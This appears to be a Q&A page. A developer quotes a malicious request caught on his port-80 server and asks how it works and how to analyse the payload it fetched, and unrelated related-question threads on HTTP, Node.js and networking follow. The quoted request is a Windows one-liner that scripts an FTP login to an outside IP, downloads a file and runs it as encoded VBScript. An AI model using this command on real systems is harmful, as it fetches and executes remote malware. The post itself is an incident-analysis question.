Some time ago I made a small program like SETI#home to generate the levels of a game that I'm working at. The program has a server and a client. They communicate on a port X using a simple protocol, and they use port 80 when the client is behind a HTTP proxy.
Having port 80 open, I receive a lot of weird HTTP requests. But two days ago one caught my attention:
{a few unreadable bytes that I dont know what they are}28{another byte}\perl.exe -esystem('cmd.exe /c echo open 222.91.160.59>f&echo 111>>f&echo qwe>>f&echo bin>>f&echo get one.zip>>f&echo bye>>f&ftp -s:f&cscript.exe /b /e:VBScript.Encode one.zip&del /f/q f&exit')
It makes a login file, connects via ftp to 222.91.160.59, downloads one.zip, disconnects, encodes with VBScript.Encode and deletes the file, right?
The questions:
Any idea what those few bytes at the beginning are? I assume that the request is some kind of HTTP request since it was sent to port 80, but how would it work?. Unfortunately I couldn't recover those bytes because I've outputted them as a string, I didn't write them in a log... How is this weird request suposed to be executed in a HTTP server?
The attack was not successful. I tried that evening to connect to the server, but it was closed. Yesterday, I found the server online and downloaded the file (with anonymous). I want to analyze it. Does anyone know how to decode it? I've never used VBScript.Encode, but I think that Encode either encodes/decodes and runs somehow one.zip, or the file uses a vulnerability in Encode or cscript.exe. Can someone guide me to analyze the file? I tried to base64 encode/decode it and even parts of it, but the result is unreadable.
If you want to see the beginning of one.zip, here you have a PNG: Beginning of one.zip
I assume that the .zip extension doesn't mean it is compressed, the author just put a random extension, since it is inputted directly to VBScript:Encode.
Thank you!
Related
I need to make an WEB based monitoring system using ESP8266, which could display the data. The system will have a user registration form, which should allow to display the data for a particular user. For this purpose I got a remote server (domain). Now I'm facing with some problems, how could I send data to this domain from the ESP? My ESP module uses NodeMCU firmware and I can program it using Lua. I read that there is HTTP GET and POST request methods and I unsuccessfully spent a few days trying to implement one of these methods... Maybe someone could put me on the road What should be the sequence of steps to start sending data to the external server? That would be a big step forward if I could send f.e. constant value variable.
Assuming your NodeMCU is connected to a network and had internet access, you can just do
http.post(url, headers, body, callback)
and it should send a post request to the given URL. HTTPS also works here, but has limitations.
Note that you need to compile the firmware with the HTTP (and TLS if you want HTTPS) module(s) by uncommenting the corresponding line(s) in the app/include/user_modules.h file.
Encountered a very weird issue.
I have two VMs, running CentOS Linux.
Server side has a REST API (Using none-Poco socket), and one of the API is to response a POST.
On the client side, use POCO library to call the REST.
If the returned message is long, it will be truncated at 176 k, or 240 k, or 288 k.
Same code, same environment, running on server side, Good.
On the client VM, use python to do the REST call, Good.
ONLY failed if I use the same good code, on client VM.
When msg got truncated, the https status code always return 200
On the server side, I logged the response message that I sent every time. Everything looks normal.
I have tried whole bunch of things, like:
set the socket timeout and receiveResponse timeout to an hour
wait for 2 seconds after I send the request but before I call the receive
Set the receive buffer big enough
Try whole bunch of approach to make sure receive stream is empty, no more data
It just does not work.
Anyone have similar issue? I started pulling my hair.... Please talk to me, anything... before I am bold.
I've got an odd situation. A 3rd party software package is sending notifications to my REST webservice. Unfortunately it has a bug and the incoming HTTP requests are damaged to the point where they are not valid HTTP. Consequently Nodes HTTP parser refuses to accept them and closes the connection.
I have reported the bug but I don't know how long until there is a fix. It could be tomorrow, it could be never.
In the meantime I'd like to get it working anyway. Fortunately the damage is minor and easily repaired. If I could just replace 2 bytes in the incoming data before it gets to Nodes parser, all would be well in the world.
Unfortunately I can't seem to find a way to do it. Node always gets the first crack at the data and rejects it. I've gotten close - I can get the raw socket when it's opened and attach to its "data" event, thus at least seeing the data as it comes in, but it's already too late to modify it.
Any ideas on how to accomplish this?
I have an access point running openWRT v12.09 with tcpdump installed. On a server I have node.js running with couchdb. I would like the output of tcpdump to be written to couchdb. This is where I'm a bit in the dark. I can't figure out how to make the connection between openWRT/tcpdump to node.js/couchdb.
I read a pipe is way to have one side reading data and the other side storing the data. That would be the goal since the storage capacity of the access point is limited. I would like the output of tcpdump to be converted in to JSON, is that possible? So it's easy to read and store in the database.
I read about, openVPN, pipe, nodecat and tried a bunch of things but I need some assistance please, thank you.
Why won't you use simple HTTP protocol? That's exactly the case for which it was invented - moving resources accross the Web.
Install lightweight HTTP server on the access point, if you don't have one there already. For example, boa is very lightweight, single-tasking HTTP server, which could be more than enough for this purpose.
Then, just:
let the tcpdump store the file in the server directory tree at the access point
on the server, use HTTP module of node.js to download the file
store it in the database.
That's it. There's no need nor is it a good idea to convert your binary data into JSON!
specifically, i'm talking about from the point of view of a node.js server. it's hard to test this in node.js because http.client validates content-length.
can a client lie about a body's content-length, at least at the point it reaches http.createServer().on('request')?
Can a client send a body that is larger than content-length? I don't think this is possible as it is most likely checked at the parser level, but i want proof.
Can a client send a body that is smaller than content-length? I think this may be true.
i'm worried about malicious users that may not use a well-behaved http client.
Of course it's possible. You could simply open a TCP socket connection to whatever IP/port a web server is running on and write anything you'd like there. Of course well-behaved clients don't do this, but there's nothing stopping a client from doing so.
However, this tends to be whatever HTTP stack your using on the server's problem, in this case node. It needs to 1) not blindly read in (huge) content-length bytes as that could crash the server miserably and 2) make sure (for reasonable-sized requests) that the client isn't lying.
In the case of node, it's visible right about here: https://github.com/joyent/node/blob/master/deps/http_parser/http_parser.c#L1471
Just try it and see ;-)
it depends
of course you can send a wring content length, the question is what does the client do with it.
there are script or server clients that may attempt to download your content and get completely messed up.
most browsers seem to have some error tolerant behaviour implemented however there are many differenet implementations.
i remember having a old ie keeping the socket open never closing it. this ended up in a never ending page load.
some netscape browser seem to be totally dependent on the right content length.
a good idea is to leave content-legths away. this should work on every browser.